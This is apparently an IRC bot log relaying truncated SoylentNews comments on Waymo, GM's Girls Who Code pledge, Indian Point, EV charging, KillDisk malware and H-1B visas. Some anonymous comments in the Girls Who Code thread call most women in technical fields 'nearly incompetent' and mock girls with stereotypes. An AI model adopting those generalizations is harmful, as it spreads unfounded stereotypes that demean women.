[17:15:11] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Spymo - 06Google Waymo Vehicles to Hit the Road This Month - 64 chars -04 http://soylentnews.org
[17:15:11] <exec> 08└─Cuz google desperately needs to know more about your porn habit.
[17:15:12] <exec> *** new comment: 03ah.clem [4241] (Score:2) 02Retrofit? - 06Google Waymo Vehicles to Hit the Road This Month - 1200 chars -04 http://soylentnews.org
[17:15:12] <exec> 08└─Serious question. Will it be possible to buy this as a kit and retrofit my current car with it, like I can with blind-spot sonar devices? I do a lot of long-distance highway driving but I'm pretty sure I won't be able to pony up the dough for a self-driving car. I'm happy to sit there and drive most...
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[18:09:10] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 21 chars -04 http://soylentnews.org
[18:09:10] <exec> 08└─How can this even be?
[18:09:12] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 825 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:12] <exec> 08└─The urge is to lambast you for crying sexism about people trying to address already-present sexism through (charitable, voluntary) affirmative action. But we both know that argument will go nowhere. Instead, I'd like to talk about definitions, morality, and maybe even first principles, and try to ge...
[18:09:13] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 56 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:14] <exec> 08└─It's because we invent our own definitions [sjwiki.org].
[18:09:15] <exec> *** new comment: 03cubancigar11 [330] (Score:3, Insightful) 02Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 447 chars -04 http://soylentnews.org
[18:09:16] <exec> 08└─"Being a woman paved the way for my career." This is why diversity promotions suck. You promote one person on diversity basis and he or she will ensure everyone under him or her knows that diversity is the non-negotiable. In a time where women are preferred 200% in STEM over men, men are dropping ou...
[18:09:17] <exec> *** new comment: 03Grishnakh [2831] (Score:4, Insightful) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 1035 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:19] <exec> 08└─In a time where women are preferred 200% in STEM over men, men are dropping out in large numbers out of colleges, men are doing worse in schools, who exactly is this going to help and how is it going to fight gender equality. What's really bad is that companies in America are constantly whining that...
[18:09:20] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 584 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:21] <exec> 08└─Lol, are you seriously blaming women for open plan offices? Just as an FYI, you can thank this asshole [wikipedia.org] for "inventing" and promoting them as efficient a hundred years ago. And whoever is your company's accountant is for pushing them now. At a particularly shitty company I was at a fe...
[18:09:22] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 659 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:23] <exec> 08└─Yep, it's definitely not the case that women get worse paying careers on average, and within a given career they're paid less, and that controlling for every possible confounding factor they're still paid less. Those are absolutely emblematic markers of being advantageous in one's career, and not li...
[18:09:31] <exec> *** new comment: 03nitehawk214 [1304] (Score:2, Interesting) 02Re:Private-Public Partnership - 06Controversial Nuclear Power Plant Near New York to Close - 160 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:32] <exec> 08└─Same thing as gasoline prices when there is a war in the Middle East. War starts, prices go up. War ends, prices stay the same. Next war starts, prices go up...
[18:09:34] <exec> *** new comment: 03Thexalon [636] (Score:2) 02Re:Private-Public Partnership - 06Controversial Nuclear Power Plant Near New York to Close - 642 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:34] <exec> 08└─My basic rule whenever somebody describes something as a "private-public partnership": The public gets to pay the bills. A private actor, usually a friend of somebody with political power, get to enjoy a nice profit. The somebody with political power gets some kind of nice kickback from somebody. An...
[18:09:39] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 1676 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:40] <exec> 08└─I'm a rabid environmentalist too. I'm positively anal about recycling every little thing I can for instance, and I really, really hate it when people throw recyclables (cans, bottles) in the trash instead of the green container. I'm quite annoyed about stupid Trump's push for more coal. But I really...
[18:09:42] <exec> *** new comment: 03Azuma Hazuki [5086] (Score:2) 02Re:1,000 workers? - 06Controversial Nuclear Power Plant Near New York to Close - 72 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:43] <exec> 08└─If one of those control rods break it'll be a whole lot of crispy bacon.
[18:09:44] <exec> *** new comment: 03LoRdTAW [3755] (Score:2) 02Re:1,000 workers? - 06Controversial Nuclear Power Plant Near New York to Close - 570 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:45] <exec> 08└─They probably included post 9-11 security. About a year after 9-11 I was working doing deliveries with a guy. He was the driver and turned up the access road to the plant instead of going further down the road to the marina. Anyway, we were greeted by four solders who promptly signaled us to turn ar...
[18:09:46] <exec> *** new comment: 03bob_super [1357] (Score:2) 02Re:1,000 workers? - 06Controversial Nuclear Power Plant Near New York to Close - 621 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:09:47] <exec> 08└─A nuclear plant is one hugely big and complex machine. It does take a lot of people to constantly monitor its state and do preventative maintenance. The older, the more maintenance. Every incident in a plant has to be reported, and every incident that makes it to the public impacts the stock price....
[18:09:48] <exec> *** new comment: 03VLM [445] (Score:2) 02Power up - 06Controversial Nuclear Power Plant Near New York to Close - 164 chars -04 http://soylentnews.org
[18:09:49] <exec> 08└─How long to power back up? Gonna have to sooner or later, and its gonna have to boot up faster than its shut down... The problem is here: Marcellus Shale formation
[18:10:04] <exec> *** new comment: 03WillR [2012] (Score:1) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 97 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:05] <exec> 08└─So we'll have to add a steel armor jacket to the cable, like a really big pay phone handset cord.
[18:10:07] <exec> *** new comment: 03VLM [445] (Score:2) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 2616 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:07] <exec> 08└─My original post held no small amount of 1 sig fig exaggeration but for a good time AC try this article: https://en.wikipedia.org [wikipedia.org] Because a J1772 level 1 is essentially a single branch USA 115 volt AC power plug with water proofing and testing and stuff I was going to...
[18:10:08] <exec> *** new comment: 03VLM [445] (Score:2) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 1492 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:09] <exec> 08└─Whoops AC forgot to mention the most interesting thing about your post is I'm aware of something else that draws about ten amps at 20 KV and thats a 100KW class AM broadcast transmitter. Think of something like a CCA 50000D like this link http://www.transmitter.be [transmitter.be]...
[18:10:11] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 590 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:11] <exec> 08└─A test facility I use has a high tech servo motor that can peak at well over 1000hp. Because the motor is mounted on a moving frame, it required something like 50 feet length of flex cabling. The cost of the copper was looking prohibitive, until they discovered that the latest high current conductor...
[18:10:13] <exec> *** new comment: 03NewNic [6420] (Score:1) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 210 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:14] <exec> 08└─Cars generally do an average of 3-4 miles per kWh. At 4 miles per kWh and a 310 mile range, it requires approximately 250kW to charge in 20 minutes. Tesla is already hinting at chargers that put out over 350kW.
[18:10:15] <exec> *** new comment: 03bob_super [1357] (Score:2) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 642 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:16] <exec> 08└─> Tesla is already hinting at chargers that put out over 350kW. It's a good thing that they also sell home batteries, since the copper under the street isn't going to agree with me pulling even a tenth of that for more than a second or two. It would be a nice experiment to see which cable or transfo...
[18:10:17] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 379 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:18] <exec> 08└─Let's just supply full 13.4kv mains level voltage to the charger. If it had some smart electronics to determine if a good connection is made before supplying a modest 6-1200 volts to the car, the conductor could be fairly light, but you'd want some heavily insulated and armored cable, and a plug tha...
[18:10:21] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Lovely - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 302 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:22] <exec> 08└─> Engine noise, ... is such a stressor. Listen again, for high speed roads the tire noise dominates (does depend on how smooth the road is). This was clear standing on a bridge over a freeway, it was mostly loud "white-ish" noise until an unusually loud vehicle passed under (bad muffler, heavy truck...
[18:10:32] <exec> *** new comment: 03driven [6295] (Score:2) 02Re:Earth - 06Earth and the Moon as Seen From Mars - 227 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:32] <exec> 08└─Scientists can tell what the atmosphere on some distant planets is made of, at least the larger planets. http://www.keckobservatory.org [keckobservatory.org]
[18:10:41] <exec> *** new comment: 03bob_super [1357] (Score:2) 02So ... what's the point? - 06Earth and the Moon as Seen From Mars - 359 chars -04 http://soylentnews.org
[18:10:41] <exec> 08└─Look, a picture of Earth, based on a set of pictures taken from Mars, but improved, and definitely not how you'd see it with the naked eye in size or color. We also rotated and cropped them for you. I'd rather see the originals, which are at least pictures of the Earth taken from a Human machine orb...
[18:10:42] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:So ... what's the point? - 06Earth and the Moon as Seen From Mars - 347 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:43] <exec> 08└─The camera from Mars isn't a normal color camera looking through a reallllly long telephoto lens. To make an image that looks somewhat like a "normal color photo" will require some processing. From tfa-- > HiRISE takes images in three wavelength bands: infrared, red, and blue-green. These are displa...
[18:10:53] <exec> *** new comment: 03mmcmonster [401] (Score:2) 02Re:Now called killdiskd - 06KillDisk Malware Now Targets Linux - 109 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:10:54] <exec> 08└─with the malware from TFA recovery is "possible, albeit difficult." With Lennart's malware, there is no hope.
[18:10:59] <exec> *** new comment: 03Thexalon [636] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 87 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:11:00] <exec> 08└─So what kind of attack vectors are we talking about here, and how can I protect myself?
[18:11:01] <exec> *** new comment: 03shipofgold [4696] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 1256 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:11:02] <exec> 08└─You are 100% correct on this....but this is where the argument that the "Linux security model is better" breaks down. Users will always run shit they get hoping that it will do what they think it will do. I don't see many people, if any, getting past Step A.. Anybody attempts step B needs to be very...
[18:11:03] <exec> *** new comment: 03Grishnakh [2831] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 1036 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:11:05] <exec> 08└─I'm still waiting for someone to point out how actual malware can really infect a Linux system. So far, the only feasible way I know of is as a "trojan", which the other responder here details. Basically, you download some piece of software which requires you to run a shell script as root to install...
[18:11:06] <exec> *** new comment: 03RS3 [6367] (Score:1) 02Re:err... - 06KillDisk Malware Now Targets Linux - 632 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:11:07] <exec> 08└─I like Thexalon's funny response. And seriously, I see these kinds of "news" stories constantly but NEVER is there a useful clear piece of information. So much general writing and babble but no nuts-and-bolts info that a sysadmin needs: What is the malware? Is it a binary executable, a script (Bash,...
[18:11:10] <exec> *** new comment: 03LoRdTAW [3755] (Score:2) 02RO? - 06KillDisk Malware Now Targets Linux - 202 chars -04 http://soylentnews.org
[18:11:11] <exec> 08└─Would this effect systems with partitions mounted read only? I'm thinking about embedded systems where the system stays pretty static and important files are kept mounted RO and R/W files on a RAM disk.
[18:11:51] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Or... - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 1086 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:11:51] <exec> 08└─This here. I have just moved to the same setup from a 3 monitor setup with a 4k 49" TV. (NB: not all TVs are as good for this as others, for a guide try this one: http://www.rtings.com [rtings.com] ) Less neck strain, better quality and more desk space. Also I use...
[18:12:00] <exec> *** new comment: 03EvilSS [1456] (Score:2) 02Re:4K is fine - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 1078 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:12:00] <exec> 08└─Well yea, it's manufacturing efficiency. If they are going to make 4K TV's at all, then they have to retool their production lines, it gets to the point where the new 4K screens cost the same to produce as the 1080 screens but you can still get a bit of a premium for them, so why keep pumping out 10...
[18:13:05] <exec> *** new comment: 03bob_super [1357] (Score:2) 02Re:Write first, debug later - 06Graph Isomorphism Strikes Back - 510 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[18:13:05] <exec> 08└─> These mammoth proofs follow the waterfall model, when continuous integration would be necessary. They do break the verification into pieces. What you cannot do in math is a dot release. Either the problem is solved by your approach, or it's not. No "professional" mathematician would take the time...
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[19:09:18] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02That's okay. - 06No Pokémon Go or Other AR Games in China - 149 chars -04 http://soylentnews.org
[19:09:18] <exec> 08└─It sure seems like no one is playing Pokemon Go anywhere else anymore either. I still can't believe that crappy reskin spiked Nintendo's stock price.
[19:09:19] <exec> *** new comment: 03Anonymous Coward (Score:0) 02It's so absurd! - 06No Pokémon Go or Other AR Games in China - 95 chars -04 http://soylentnews.org
[19:09:19] <exec> 08└─How can anybody stand having these control-freak bureaucrats talk down to them in this fashion?
[19:09:21] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 17 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:22] <exec> 08└─*Catches Koffing*
[19:09:23] <exec> *** new comment: 03DeathMonkey [1380] (Score:2) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 65 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:24] <exec> 08└─That sucks, you really should pay attention to those smog alerts.
[19:09:25] <exec> *** new comment: 03ikanreed [3164] (Score:3, Informative) 02Re:It's so absurd! - 06No Pokémon Go or Other AR Games in China - 946 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:26] <exec> 08└─The specter of cultural relativism rises from the murky mists, ominous and suggesting inevitable arguments and bile Because Chinese culture does not value freedom as the highest virtue the way American culture does. Not following with the group on casual day-to-day things is considered rude. Not sho...
[19:09:36] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 37 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:37] <exec> 08└─You cannot combat sexism with sexism.
[19:09:38] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 146 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:39] <exec> 08└─I've got another folksy saying for you. You can't resolve fundamental and profound disagreements with unsubstantiated thought-terminating-cliches.
[19:09:41] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 83 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:41] <exec> 08└─You can resolve any problem with a gun; that's where your ilk is leading the world.
[19:09:43] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 459 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:44] <exec> 08└─Yes, please, comrade, seize that person who doesn't think about the details and nuances of their beliefs and bring them before the firing squad. No trial, they posted something dumb on the internet. Really, I think these principles are probably worth fighting, killing, and dying for(the recent nazif...
[19:09:45] <exec> *** new comment: 03Arik [4543] (Score:3, Insightful) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 1138 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:46] <exec> 08└─Here's a pretty clear example. When you want something, a slot in a school, or a job, or to rent an apartment, whatever, one of the many many things out there that have no logical connection to sex. When you apply, and are denied because you have (or even project) the wrong genitalia, that's sexism....
[19:09:48] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Blatant Sexism - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 414 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:49] <exec> 08└─From that page: "Racism is prejudice plus power. On the basis of this definition, while all people can be prejudiced, only those who have power are really racist. African Americans, Latinos, Asians and American Indians the powerless in American society can be and often are most prejudiced toward Whi...
[19:09:51] <exec> 08*** score 5 comment: 03Grishnakh [2831] 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 1035 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:52] <exec> 08└─In a time where women are preferred 200% in STEM over men, men are dropping out in large numbers out of colleges, men are doing worse in schools, who exactly is this going to help and how is it going to fight gender equality. What's really bad is that companies in America are constantly whining that...
[19:09:54] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 121 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:55] <exec> 08└─Of course he isn't blaming women. Check your reading comprehension, "ikanreed"; you've chosen the dumbest interpretation.
[19:09:56] <exec> *** new comment: 03DeathMonkey [1380] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 154 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:57] <exec> 08└─When I produce too few of something I generally tend to try and find the bottleneck. 24% participation rate, and shrinking, looks like a bottleneck to me.
[19:09:58] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 425 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:09:59] <exec> 08└─Its just moving goal posts to rationalize bigotry. Minorities are under-employed in technical fields. Response: You can't blame employers, they can hire people that don't exist. Employers invest in education programs intended to create more minority job candiates. Response: This is just reverse-bigo...
[19:10:00] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 440 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:01] <exec> 08└─Why in the world should it be the goal of a company to make more "minorities" hirable? Surely, the goal should be to make operations more profitable! The only way the former could ever cast a shadow over the latter is through indoctrination or subsidy; indoctrination never speaks as loudly as money,...
[19:10:03] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 191 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:03] <exec> 08└─But where are those people going? I bet you'll find large increases of women in managerial roles, especially bureaucratic roles in large quasi-governmental organizations such as universities.
[19:10:06] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 379 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:07] <exec> 08└─When it comes to male-dominated fields, most women workers are—in my experience—nearly incompetent; the few women who are competent are geniuses, and are just simply exceptional individuals, an exception that proves the rule. What I've noticed is that it's not the case that including women impro...
[19:10:08] <exec> *** new comment: 03DeathMonkey [1380] (Score:2) 02Re:Let me correct that for you - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 183 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:09] <exec> 08└─So you assume she got promoted based on her gender and not on her ability. I'm not one to throw sexism allegations around but that's pretty much the dictionary definition right there.
[19:10:11] <exec> *** new comment: 03VLM [445] (Score:3, Insightful) 02Girls are smart - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 111 chars -04 http://soylentnews.org
[19:10:12] <exec> 08└─In 1995, 37 percent of the computing workforce was comprised of women, but today that has shrunk to 24 percent.
[19:10:13] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Girls are smart - 06GM Announces $250,000 Pledge to Education Nonprofit Girls Who Code - 170 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:14] <exec> 08└─But soldering is so icky! We girls want to sit at a desk in a nice office... of course, the darn chauvinist patriarchy keeps the office thermostat too cold for us ladies.
[19:10:28] <exec> *** new comment: 03rcamera [2360] (Score:2) 02Re:"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 1092 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:29] <exec> 08└─considering the reactors are past their original EOL (like all of them, at this point), have had multiple safety issues [wikipedia.org], including emergency siren failures [recordonline.com] (you'll maintain a generator, but can't get a PA system working...?), and they're built directly on a faultli...
[19:10:30] <exec> *** new comment: 03ikanreed [3164] (Score:2) 02Re:"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 95 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:30] <exec> 08└─Interesting factual clarifications. More nuance does help make them sound much more reasonable.
[19:10:33] <exec> *** new comment: 03rcamera [2360] (Score:2) 02Re:"Environmentalists" - 06Controversial Nuclear Power Plant Near New York to Close - 306 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:34] <exec> 08└─the assumption here is that we're not over-capacity already, and therefore require a 1/1 "replacement". there have been huge amounts of additional generated power added to the system over the past decade, and usage is on the decline based on efficiency improvements at the consumer and transmission l...
[19:10:35] <exec> *** new comment: 03Anonymous Coward (Score:0) 02''coal and oil [...] renewables'' - 06Controversial Nuclear Power Plant Near New York to Close - 1244 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:36] <exec> 08└─protesting nuclear plants and making it impossible to run them is just going to result in more coal and oil-fired plants 8-( instead of some nasty pollution that's contained in a few 55-gallon drums ...drums made of stuff that will corrode-through is a single human lifetime. Again: 8-( and stored so...
[19:10:41] <exec> *** new comment: 03Anonymous Coward (Score:0) 02''security'' - 06Controversial Nuclear Power Plant Near New York to Close - 493 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:41] <exec> 08└─four solders My memories of nuke plant security is that is contracted out (to the lowest bidder). The stuff that comes to my mind is Rent-a-Cops sleeping on the job in Pennsylvania [cbsnews.com] Attkisson spoke to a guard about what he'd seen. How many people did one personally witness sleeping on...
[19:10:44] <exec> *** new comment: 03VLM [445] (Score:3, Insightful) 02Re:1,000 workers? - 06Controversial Nuclear Power Plant Near New York to Close - 3124 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:45] <exec> 08└─I used to invest a lot in energy so as a side hobby I learned a lot about the industry of which nuke is a portion etc. First of all at a nuke even the lower to mid level management work 24x7. The Army thinks it takes on average 5 people to staff a seat 24x365 but more realistically for civilians its...
[19:10:47] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Insane place to put a nuke plant - 06Controversial Nuclear Power Plant Near New York to Close - 284 chars -04 http://soylentnews.org
[19:10:48] <exec> 08└─Projected radiation plume from an incident at Indian Point [blogspot.com] Original page [agreenroadjournal.com] describes ridiculous extensions to nuke plant lifetimes. (Content is behind scripts.) [archive.li] Downwind populations [googleapis.com] -- OriginalOwner_ [soylentnews.org]
[19:10:49] <exec> *** new comment: 03Aiwendil [531] (Score:2) 02Re:Insane place to put a nuke plant - 06Controversial Nuclear Power Plant Near New York to Close - 58 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:10:50] <exec> 08└─Projected radiation plume from an incident at Indian Point
[19:10:51] <exec> *** new comment: 03Aiwendil [531] (Score:2) 02back of the envelope - 06Controversial Nuclear Power Plant Near New York to Close - 670 chars -04 http://soylentnews.org
[19:10:52] <exec> 08└─Let's see, indian point is 2x1000MWe, that means 800turbines of 2.5MWe class. 2.5MW turbines have a swept area of 80m, normally sited 7 times swept area apart but can be placed closer (I'm going to assume 5 times, some papers suggest 15 times for optimum energy extraction). So 80x80x800x5/1_000_000...
[19:11:09] <exec> *** new comment: 03DannyB [5839] (Score:2) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 114 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:11:09] <exec> 08└─Yes, that would definitely increase the value of the stolen cable. Is the steel armor worth as much as the copper?
[19:11:17] <exec> *** new comment: 03NewNic [6420] (Score:1) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 447 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:11:17] <exec> 08└─They are not going to be putting these types of chargers in typical houses. You only need overnight charging capability at home. Battery swapping is a pipe dream and would retard progress (battery development would be slowed down by the need to have standard batteries). Battery swapping isn't going...
[19:11:18] <exec> *** new comment: 03bob_super [1357] (Score:2) 02Re:Big honking power cables sold separately. - 06Samsung Announces Electric Vehicle Battery Cell Enabling 310 Mile Range on a 20 Minute Charge - 1219 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:11:19] <exec> 08└─> You only need overnight charging capability at home. I'm pretty sure that the same people who can't imagine only having 200 miles will chime in with use cases requiring quick home charging. #NeverWithoutMyFreedomToDriveNow /s /s > Battery swapping isn't going to make an order of magnitude differen...
[19:11:58] <exec> *** new comment: 03dlb [4790] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 64 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:11:58] <exec> 08└─Also you can do significant damage even as an unprivileged user.
[19:12:02] <exec> *** new comment: 03HiThere [866] (Score:2) 02Re:err... - 06KillDisk Malware Now Targets Linux - 437 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:12:02] <exec> 08└─Most of that is trivially changable. What wouldn't be is "does it need to be installed by root?" If it can be installed by an unprivileged user (even if only to corrupt their account), then the number of modes of install is horrendous. If it needs a root install, then there are a LOT fewer modes of...
[19:13:03] <exec> *** new comment: 03bob_super [1357] (Score:2) 02Re:PPI is a far better measurement - 06Is Screen Resolution Good Enough Considering the Fovea Centralis of the Eye? - 1001 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:13:04] <exec> 08└─You are quite incorrect, that's why. The PPI tells you if you will see the pixels from a certain viewing distance. The total resolution tells you how much stuff you can display. High PPI/DPI makes things nicer, but does not increase how much data you display. I am typing this with my eyes about 3 fe...
[19:14:14] <exec> *** new comment: 03HiThere [866] (Score:2) 02Re:I started with z-80 assembly - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 1043 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:14:15] <exec> 08└─Cool. I started with IBM 7090 assembler. But folk getting started now have more complexity even at the assembler level. There a good place for things like MIX and Q8. It may not apply to those who've already learned, but it's a valuable place to start. P.S.: I used to be really hot for assembler...b...
[19:14:57] <exec> *** new comment: 03bob_super [1357] (Score:2) 02Re:Nothing new about any of this - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 751 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:14:57] <exec> 08└─> This started with an MBA theory that it's ok to export non-core competencies. > But Apple appears to have exported their manufacturing supply chain? Apple could export the dirty capital-intensive supply and manufacturing, because their core competency is "user interface" and programming. But Linux...
[19:15:11] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 159 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:15:11] <exec> 08└─She'd had a car accident last night. She didn't have a license. Nor insurance. It was her roomate's car. She didn't tell her roomate she was borrowing the car.
[19:15:27] <exec> 08*** score 5 comment: 03ese002 [5306] 02Food and water safety - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 1361 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[19:15:27] <exec> 08└─In the States, when the water is not safe to drink (e.g. Flint), it is a considered a tragedy and a crime. Political careers for anyone near are ruined. I'm not sure what it means when tap water is safe to drink in India. In six months of travel across most of India, I never found such a place. Not...
[19:16:08] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Ah the mouse model - 06Long-Term Stress Erodes Memory - 28 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[19:16:08] <exec> 08└─By assuming nefarious intent
